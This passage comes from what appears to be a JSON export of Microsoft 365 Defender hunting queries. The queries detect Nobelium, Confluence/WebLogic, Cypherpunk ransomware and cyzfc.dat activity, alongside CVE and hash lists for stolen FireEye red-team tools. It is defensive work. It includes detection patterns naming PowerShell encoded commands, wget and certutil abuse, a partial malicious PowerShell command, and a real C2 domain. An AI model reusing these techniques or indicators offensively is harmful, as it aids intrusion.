|\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-response[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](./fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](./fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](./known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](./launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](./launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](./locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](./locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](./possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Dario Brambilla\n**GitHub alias:** darioongit\n**Organization:** Microsoft 365 Defender\n"
  },
  {
    "path": "Campaigns/confluence-weblogic-targeted.md",
    "content": "# Confluence and WebLogic servers targeted by campaign\n\nThis query was originally published in the threat analytics report, *Confluence and WebLogic abuse*.\n\n2019 has seen several seemingly related campaigns targeting Atlassian Confluence Server and Oracle WebLogic Server. Although these campaigns use different implants and delivery methods, they consistently use the same infrastructure, and exploit the same vulnerabilities.\n\nThe campaigns have specifically targeted:\n\n* [CVE-2019-3396](https://nvd.nist.gov/vuln/detail/CVE-2019-3396) - [Software update](https://jira.atlassian.com/browse/CONFSERVER-57974)\n* [CVE-2019-2725](https://nvd.nist.gov/vuln/detail/CVE-2019-2725) - [Software update](https://www.oracle.com/security-alerts/alert-cve-2019-2725.html)\n\nThe following query detects activity broadly associated with these campaigns.\n\n## Query\n\n```Kusto\nDeviceProcessEvents\n| where Timestamp >= ago(7d)\n| where \n// \"Grandparent\" process is Oracle WebLogic or some process loading Confluence\nInitiatingProcessParentFileName == \"beasvc.exe\" or \nInitiatingProcessFileName == \"beasvc.exe\" \nor InitiatingProcessCommandLine contains \"//confluence\"\n// Calculate for Base64 in Commandline\n| extend Caps = countof(ProcessCommandLine, \"[A-Z]\", \"regex\"), \nTotal = countof(ProcessCommandLine, \".\", \"regex\")\n| extend Ratio = todouble(Caps) / todouble(Total) \n| where\n(\n    FileName in~ (\"powershell.exe\" , \"powershell_ise.exe\") // PowerShell is spawned\n    // Omit known clean processes\n    and ProcessCommandLine !startswith \"POWERSHELL.EXE  -C \\\"GET-WMIOBJECT -COMPUTERNAME\"\n    and ProcessCommandLine !contains \"ApplicationNo\"\n    and ProcessCommandLine !contains \"CustomerGroup\"\n    and ProcessCommandLine !contains \"Cosmos\"\n    and ProcessCommandLine !contains \"Unrestricted\"\n    and\n    (\n        ProcessCommandLine contains \"$\" // PowerShell variable declaration\n        or ProcessCommandLine contains \"-e \" // Alias for \"-EncodedCommand\" parameter\n        or ProcessCommandLine contains \"encodedcommand\"\n        or ProcessCommandLine contains \"wget\"\n        //or ( Ratio > 0.4 and Ratio < 1.0) // Presence of Base64 strings\n    )\n)\nor\n(\n    FileName =~ \"cmd.exe\" // cmd.exe is spawned\n    and ProcessCommandLine contains \"@echo\" and \n    ProcessCommandLine contains \">\" // Echoing commands into a file\n)\nor\n(\n    FileName =~ \"certutil.exe\" // CertUtil.exe abuse\n    and ProcessCommandLine contains \"-split\" \n    // the \"-split\" parameter is required to write files to the disk\n)\n| project\n       Timestamp,\n       InitiatingProcessCreationTime ,\n       DeviceId ,\n       Grandparent_PID = InitiatingProcessParentId,\n       Grandparent = InitiatingProcessParentFileName,\n       Parent_Account = InitiatingProcessAccountName,\n       Parent_PID = InitiatingProcessId,\n       Parent = InitiatingProcessFileName ,\n       Parent_Commandline = InitiatingProcessCommandLine,\n       Child_PID = ProcessId,\n       Child = FileName ,\n       Child_Commandline = ProcessCommandLine\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/cypherpunk-exclusive-commands.md",
    "content": "# Cypherpunk remote execution through PSEXESVC\n\nThis query was originally published in the threat analytics report, *Cypherpunk ransomware leaves wake of tampered AVs*.\n\nCypherpunk is a human-operated ransomware campaign named after the unusual *.cypherpunk* extension given to encrypted files. \n\nThe query below surfaces commands that follow the distinctive pattern Cypherpunk operators would use to remotely execute code.\n\n## Query\n\n```kusto\n// Searches for possible Cypherpunk ransomware activity\nDeviceProcessEvents\n| where InitiatingProcessParentFileName startswith \"psexe\"\n| where ProcessCommandLine has \"Dvr /go\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | v |  |\n\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/cypherpunk-remote-exec-w-psexesvc.md",
    "content": "# Cypherpunk remote execution through PSEXESVC\n\nThis query was originally published in the threat analytics report, *Cypherpunk ransomware leaves wake of tampered AVs*.\n\nCypherpunk is a human-operated ransomware campaign named after the unusual *.cypherpunk* extension given to encrypted files. The attackers often used PSEXESVC, a service that helps the PsExe.exe utility run commands on a remote device. Both PSEXESVC and PsExe.exe are legitimate parts of Windows; however, they can be repurposed by attackers to perform malicious actions.\n\nThe query below can find instances of PSEXESVC being used to launch batch files, as often occurred in Cypherpunk attacks.\n\n## Query\n\n```kusto\n// Searches for remote batch file launch using PSEXESVC.exe\nDeviceProcessEvents\n| where InitiatingProcessParentFileName startswith \"psexe\"\n| where InitiatingProcessCommandLine has \".bat\"\n| where ProcessCommandLine has \"DisableIOAVProtection\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware | v |  |\n\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/detect-cyzfc-activity.md",
    "content": "# Detect activity associated with malicious DLL, cyzfc.dat\n\nThese queries was originally published in the threat analytics report, *Attacks on gov't, think tanks, NGOs*.\n\nAs described further in *[Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers](https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/)*, there was a very large spear-phishing campaign launched in November 2019.\n\nThe attackers would gain access to a target by having the user click on a link to a compromised website and download a .zip archive.\n\nOnce established on a target's device, the attackers used a malicious DLL named *cyzfc.dat* to execute additional payloads. They would call a function in the malicious DLL via the legitimate Windows process, [rundll32.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32), to connect directly to their command-and-control (C2) servers.\n\nThe following queries detect activity associated with the malicious DLL, *cyzfc.dat.*, used in this campaign.\n\n## Query\n\n```Kusto\n​// Query 1: Events involving the DLL container\nlet fileHash = \"9858d5cb2a6614be3c48e33911bf9f7978b441bf\";\nfind in (DeviceFileEvents, DeviceProcessEvents, DeviceEvents,\nDeviceRegistryEvents, DeviceNetworkEvents, DeviceImageLoadEvents)\nwhere SHA1 == fileHash or InitiatingProcessSHA1 == fileHash\n| where Timestamp > ago(10d)\n\n// Query 2: C2 connection\nDeviceNetworkEvents\n| where Timestamp > ago(10d)\n| where RemoteUrl == \"pandorasong.com\"\n\n// Query 3: Malicious PowerShell\nDeviceProcessEvents\n| where Timestamp > ago(10d)\n| where ProcessCommandLine contains\n\"-noni -ep bypass $zk='JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJ\"\n\n// Query 4: Malicious domain in default browser commandline\nDeviceProcessEvents\n| where Timestamp > ago(10d)\n| where ProcessCommandLine contains\n\"https://www.jmj.com/personal/nauerthn_state_gov\"\n\n// Query 5: Events involving the ZIP\nlet fileHash = \"cd92f19d3ad4ec50f6d19652af010fe07dca55e1\";\nfind in (DeviceFileEvents, DeviceProcessEvents, DeviceEvents,\nDeviceRegistryEvents, DeviceNetworkEvents, DeviceImageLoadEvents)\nwhere SHA1 == fileHash or InitiatingProcessSHA1 == fileHash\n| where Timestamp > ago(10d)\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Campaigns/fireeye-red-team-tools-CVEs [Nobelium].md",
    "content": "# FireEye Red Team tool CVEs [Nobelium]\n\nSearch for the CVEs that should be prioritized and resolved to reduce the success of the FireEye Red Team tools compromised by the Nobelium activity group.\nSee [red_team_tool_countermeasures](https://github.com/fireeye/red_team_tool_countermeasures/blob/master/CVEs_red_team_tools.md) on the [official FireEye repo](https://github.com/fireeye).\n\n## Query\n\n```Kusto\nlet FireEyeCVE= dynamic(\n[\n\"CVE-2019-11510\", //pre-auth arbitrary file reading from Pulse Secure SSL VPNs - CVSS 10.0\n\"CVE-2020-1472\", //Microsoft Active Directory escalation of privileges - CVSS 10.0\n\"CVE-2018-13379\", //pre-auth arbitrary file reading from Fortinet Fortigate SSL VPN - CVSS 9.8 //no find CVE\n\"CVE-2018-15961\", //RCE via Adobe ColdFusion (arbitrary file upload that can be used to upload a JSP web shell) - CVSS 9.8\n\"CVE-2019-0604\", //RCE for Microsoft Sharepoint - CVSS 9.8\n\"CVE-2019-0708\", //RCE of Windows Remote Desktop Services (RDS) - CVSS 9.8\n\"CVE-2019-11580\", //Atlassian Crowd Remote Code Execution - CVSS 9.8\n\"CVE-2019-19781\", //RCE of Citrix Application Delivery Controller and Citrix Gateway - CVSS 9.8  //no find CVE\n\"CVE-2020-10189\", //RCE for ZoHo ManageEngine Desktop Central - CVSS 9.8\n\"CVE-2014-1812\", //Windows Local Privilege Escalation - CVSS 9.0\n\"CVE-2019-3398\", //Confluence Authenticated Remote Code Execution - CVSS 8.8\n\"CVE-2020-0688\", //Remote Command Execution in Microsoft Exchange - CVSS 8.8\n\"CVE-2016-0167\", //local privilege escalation on older versions of Microsoft Windows - CVSS 7.8\n\"CVE-2017-11774\", //RCE in Microsoft Outlook via crafted document execution (phishing) - CVSS 7.8\n\"CVE-2018-8581\", //Microsoft Exchange Server escalation of privileges - CVSS 7.4\n\"CVE-2019-8394\" //arbitrary pre-auth file upload to ZoHo ManageEngine ServiceDesk Plus - CVSS 6.5\n]\n);\nDeviceTvmSoftwareVulnerabilitiesKB\n| where CveId in(FireEyeCVE)\n| join DeviceTvmSoftwareVulnerabilities on CveId\n| project-away CveId1, VulnerabilitySeverityLevel1, AffectedSoftware\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](./c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](./compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](./fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](./known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](./launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](./launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](./locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](./locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](./possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Dario Brambilla\n**GitHub alias:** darioongit\n**Organization:** Microsoft 365 Defender\n"
  },
  {
    "path": "Campaigns/fireeye-red-team-tools-HASHs [Nobelium].md",
    "content": "# FireEye Red Team tool HASHs [Nobelium]\n\nThis query searches for the HASHs of the FireEye Red Team tools compromised by the Nobelium activity group.\n\nSee [all-hashes.csv](https://github.com/fireeye/red_team_tool_countermeasures/blob/master/all-hashes.csv) on the [official FireEye repo](https://github.com/fireeye).\n\n## Query\n\n```Kusto\nlet MD5Hash= dynamic(\n    [\n'013c7708f1343d684e3571453261b586',\n'01d68343ac46db6065f888a094edfe4f',\n'04eb45f8546e052fe348fda2425b058c',\n'05b99d438dac63a5a993cea37c036673',\n'09bdbad8358b04994e2c04bb26a160ef',\n'0a86d64c3b25aa45428e94b6e0be3e08',\n'0b1e512afe24c31531d6db6b47bac8ee',\n'100d73b35f23b2fe84bf7cd37140bf4d',\n'11b5aceb428c3e8c61ed24a8ca50553e',\n'12c3566761495b8353f67298f15b882c',\n'150224a0ccabce79f963795bf29ec75b',\n'152fc2320790aa16ef9b6126f47c3cca',\n'226b1ac427eb5a4dc2a00cc72c163214',\n'2398ed2d5b830d226af26dedaf30f64a',\n'24a7c99da9eef1c58f09cf09b9744d7b',\n'25a97f6dba87ef9906a62c1a305ee1dd',\n'294b1e229c3b1efce29b162e7b3be0ab',\n'2b686a8b83f8e1d8b455976ae70dab6e',\n'2e67c62bd0307c04af469ee8dcb220f2',\n'3322fba40c4de7e3de0fda1123b0bf5d',\n'3651f252d53d2f46040652788499d65a',\n'383161e4deaf7eb2ebeda2c5e9c3204c',\n'3b926b5762e13ceec7ac3a61e85c93bb',\n'3bb34ebd93b8ab5799f4843e8cc829fa',\n'3e61ca5057633459e96897f79970a46d',\n'3fb9341fb11eca439b50121c6f7c59c7',\n'4022baddfda3858a57c9cbb0d49f6f86',\n'4326a7e863928ffbb5f6bdf63bb9126e',\n'4410e95de247d7f1ab649aa640ee86fb',\n'4414953fa397a41156f6fa4f9462d207',\n'4456e52f6f8543c3ba76cb25ea3e9bd2',\n'44887551a47ae272d7873a354d24042d',\n'45736deb14f3a68e88b038183c23e597',\n'4bf96a7040a683bd34c618431e571e26',\n'4e7e90c7147ee8aa01275894734f4492',\n'4fd62068e591cbd6f413e1c2b8f75442',\n'5125979110847d35a338caac6bff2aa8',\n'562ecbba043552d59a0f23f61cea0983',\n'590d98bb74879b52b97d8a158af912af',\n'5e14f77f85fd9a5be46e7f04b8a144f5',\n'66cdaa156e4d372cfa3dea0137850d20',\n'66e0681a500c726ed52e5ea9423d2654',\n'68acf11f5e456744262ff31beae58526',\n'6902862bd81da402e7ac70856afbe6a2',\n'6a9a114928554c26675884eeb40cc01b',\n'6efb58cf54d1bb45c057efcfbbd68a93',\n'6f04a93753ae3ae043203437832363c4',\n'79259451ff47b864d71fb3f94b1774f3',\n'7af24305a409a2b8f83ece27bb0f7900',\n'7c2a06ceb29cdb25f24c06f2a8892fba',\n'7e6bc0ed11c2532b2ae7060327457812',\n'7f8102b789303b7861a03290c79feba0',\n'8025bcbe3cc81fc19021ad0fbc11cf9b',\n'82773afa0860d668d7fe40e3f22b0f3e',\n'82e33011ac34adfcced6cddc8ea56a81',\n'83ed748cd94576700268d35666bf3e01',\n'848837b83865f3854801be1f25cb9f4d',\n'8c91a27bbdbe9fb0877daccd28bd7bb5',\n'8d949c34def898f0f32544e43117c057',\n'9529c4c9773392893a8a0ab8ce8f8ce1',\n'98ecf58d48a3eae43899b45cec0fc6b7',\n'995120b35db9d2f36d7d0ae0bfc9c10d',\n'9c8eb908b8c1cda46e844c24f65d9370',\n'9ccda4d7511009d5572ef2f8597fba4e',\n'9dcb6424662941d746576e62712220aa',\n'9e85713d615bda23785faf660c1b872c',\n'9f401176a9dd18fa2b5b90b4a2aa1356',\n'a107850eb20a4bb3cc59dbd6861eaf0f',\n'a495c6d11ff3f525915345fb762f8047',\n'a8b5dcfea5e87bf0e95176daa243943d',\n'a91bf61cc18705be2288a0f6f125068f',\n'aeb0e1d0e71ce2a08db9b1e5fb98e0aa',\n'b66347ef110e60b064474ae746701d4a',\n'b8415b4056c10c15da5bba4826a44ffd',\n'c0598321d4ad4cf1219cc4f84bad4094',\n'c74ebb6c238bbfaefd5b32d2bf7c7fcc',\n'cdf58a48757010d9891c62940c439adb',\n'cf752e9cd2eccbda5b8e4c29ab5554b6',\n'd0a830403e56ebaa4bfbe87dbfdee44f',\n'd5d3d23c8573d999f1c48d3e211b1066',\n'd7cfb9fbcf19ce881180f757aeec77dd',\n'd93100fe60c342e9e3b13150fd91c7d8',\n'db0eaad52465d5a2b86fdd6a6aa869a5',\n'dd8805d0e470e59b829d98397507d8c2',\n'dfbb1b988c239ade4c23856e42d4127b',\n'e0683f8ee787313cfd2c61cd0995a830',\n'e4efa759d425e2f26fbc29943a30f5bd',\n'e7beece34bdf67cbb8297833c5953669',\n'e89efa88e3fda86be48c0cc8f2ef7230',\n'e91670423930cbbd3dbf5eac1f1a7cb6',\n'ece07daca53dd0a7c23dacabf50f56f1',\n'edcd58ba5b1b87705e95089002312281',\n'eeedc09570324767a3de8205f66a5295',\n'f20824fa6e5c81e3804419f108445368',\n'f3dd8aa567a01098a8a610529d892485',\n'f41074be5b423afb02a74bc74222e35d',\n'f59095f0ab15f26a1ead7eed8cdb4902',\n'f7d9961463b5110a3d70ee2e97842ed3',\n'fa255fdc88ab656ad9bc383f9b322a76',\n'fbefb4074f1672a3c29c1a47595ea261'\n    ]\n);\nlet SHA1Hash= dynamic(\n    [\n'5968670c0345b0ab5404bd84cb60d7af7a625020',\n'fb514d59d4beabd97a25c2eefb74ce85b16edaac',\n'863514b3c3f88d084bbe27bf7ba59189fbdbd902',\n'0c8e807969295237c74a1016c284f99975e761b9',\n'226c07a66c530350e9c89ddbe550646e94b5ff96',\n'1bfaccc392df6d62fb3d8c9e69b72f0b4c5a478a',\n'7bbdbe9f26a3d96e31d648551e66f91a9bd928ab',\n'0613d4a7556d13889727e2e3312abfc2f6bbc046',\n'c47cf12067a0ddf212a890f26dc8578d8bb705cb',\n'9a6e4d1a0b682abc848e5c7a6f8782cb0213fc5c',\n'af35d96b1e70d05a0c556bb9fa46af7450db1474',\n'f7d483346611ce1d3e5bf8eeebfc7be122a131b9',\n'4e1aead0a6c181afbd12c75f8da5a1a01acafc6c',\n'8ac4feca574feb39aa887ac24803cc66fc658789',\n'ac9db0eb0ef64d4b9fa68f52c713904e6fd4d6e6',\n'f142936d2ab1e023ffc39d41a801d18a0c7df398',\n'12e46031d953fd0a9a2b0ec573b695420eafd5f2',\n'03324510e41c7b9fec35516aca947850d4ef7529',\n'5d358567e549a6f8e471697f7c78bc8bdf2a6534',\n'33d6eef3c7c5a496cc22acaaa7aed03d59af498a',\n'803b1743cb5498543802c14e67a34c61977d73b5',\n'4d0c07c7a215ec9d563b0a3e73899e56fcf94566',\n'67f7ba6b4c301d372d8fb28cb231fb13a58b1dc9',\n'd5adb0dc551c3c97fc929d86e039672b97ddc65e',\n'063ede02eb666c16c61135aa27b1a026014cfc77',\n'e54f5737847287e49a306f312995c9aba38314d4',\n'e74f4f592e17a7c3c9be85b430dddeea2c3abda4',\n'ae9d8a3e09b55a45c0452a293dcb01fab556f810',\n'a1065c1a5d908796745e9c5be297ea2d402859dc',\n'05ddb03cd423042ee6af3a14b6c4c0772eb75757',\n'3c0c8e162bb8d42348beb6f4527f303c7487ce96',\n'df8543eaddb005dab92ef0cdab7c19b41ef647f8',\n'75e87b5ff18b2c53688e43a2e599fd6b3ab06d92',\n'268d4e63b8fb38d37556384549717531e50eb65f',\n'f4cb5107f1b9755ce0e8f7a7f85f5536fd204019',\n'38e866dd44dce667dd19652e28324b6110e808bd',\n'218651ac5b575c3f9642c2e9a5928aa22fab8483',\n'472af2b122c23bf0ca10c78d389a5a7f030a3536',\n'520cab82bb5bcfd8abd2301b648aafe0555044c4',\n'b49972eed626571914116bae4446be571598dd81',\n'3a4adb4ff64ddcdd0f1b2a86f04d2b72da5d9c92',\n'22109552d6af71d392de199e21ae272009db608a',\n'ccc5cb5b399bbf9d2959aafdc90233fa4ca9380d',\n'849f81a20a4bb9985066d9e38f4adfba07bc5444',\n'cc542c0f873470b3eb292f082771eec61c16b3d7',\n'590bd7609edf9ea8dab0b5fbc38393a870b329de',\n'41c11e48c3a64484b38a2d64ab3b9453bae05a14',\n'e468a7947c497b435bdf1a50cf0f73abf849c79b',\n'a5c4975199bfe820bd0076bb5b7c68be93ba7bf8',\n'f38bf87c73ac188fc60a2bfa5bba1c838148a8a1',\n'a1e3e694b147767efcab214f099a1488726abd0f',\n'aaa153236b7676899572760482951d3edad7a8b5',\n'25be1b61ce1f9dcc498c64a5a753efb96df3ae4c',\n'39bb0e9765e0137d09dc8d41fa1dded24e1fdeed',\n'5b93345c18faa20ef1f2d3f7fb5a299c27e4b66d',\n'f5a605c29af773c9f5604c8f5546c991d24d2dc2',\n'db99f1ef9b630fc16deb23d8c7d7df2441bc80e5',\n'c226cb69f2a017712cc94493f51d7726f933bcda',\n'5b3b08f15ac3bbf2644f88b0615536f33a1ff1a8',\n'42f81c4cfca1438371829b7ad5e7b3db54a2cddf',\n'1c23dd83c6ebba6f870b1ad02f326ea730ea53a5',\n'2b663679da2a7070f91945784ac167ed3ded7280',\n'fd1e67da7919dc7d0fbab0c5d02ee6e12537f2ef',\n'93c1078cb6d0aeab90eb0b83ec4a737ce7bcccdc',\n'05d900d16d2738b0bded3ba4a60ff24adc0776f1',\n'fc19e8dae2215446ade30b6bc7aa5d4b0d6627f7',\n'f30ef3957c930cf2aa74361d4d229777e7ee40ef',\n'964e161dd92df9b160a6f7c7d1dedf216e8fed2c',\n'bf4254555a5f4d3299aae8d4ffc28bbb1dfec3c6',\n'50726acc45f673d6f0924a8bf030f3f07b1cd9c5',\n'd535de08875cef1c49bfa2532281fa1254a8cb93',\n'7935da6efb19ea558fe6b1f98f3b244b4a74794b',\n'589f7878efd02dd5a0832c6e523f4914cbcfd450',\n'8f7d4f9eed06c1d175ef6321fb7110183aabbb7c',\n'467b32e7414308b245c6c004303a5638e0fa7bdf',\n'b98cded462dfd80c682c953830e3df744cac756d',\n'3df6b6fb4870b66931e91a59a5f9c013198bc310',\n'c26f164336ea82a40b2186270249d2fe5571b12d',\n'e53ff219a6d5d0713ddfa54f8fff7ff703e5e85f',\n'fa9905d231bb1565086dcf2608ee2125bf585c01',\n'c1fe1a306c4d7106d5a0bb47d3880836d9ecc2c6',\n'7323ca7b92edbd195b2d7e18c91fd48b4c96a0cc',\n'f9881d2380363cb7b3d316bbf2bde6c2d7089681',\n'ca112215ba3abf12bd65e15f018def811b9d5938',\n'bcdf6ddccab0c348d85ca52077ffbef12f94a336',\n'28a15a0b532c47110297aa6f4f46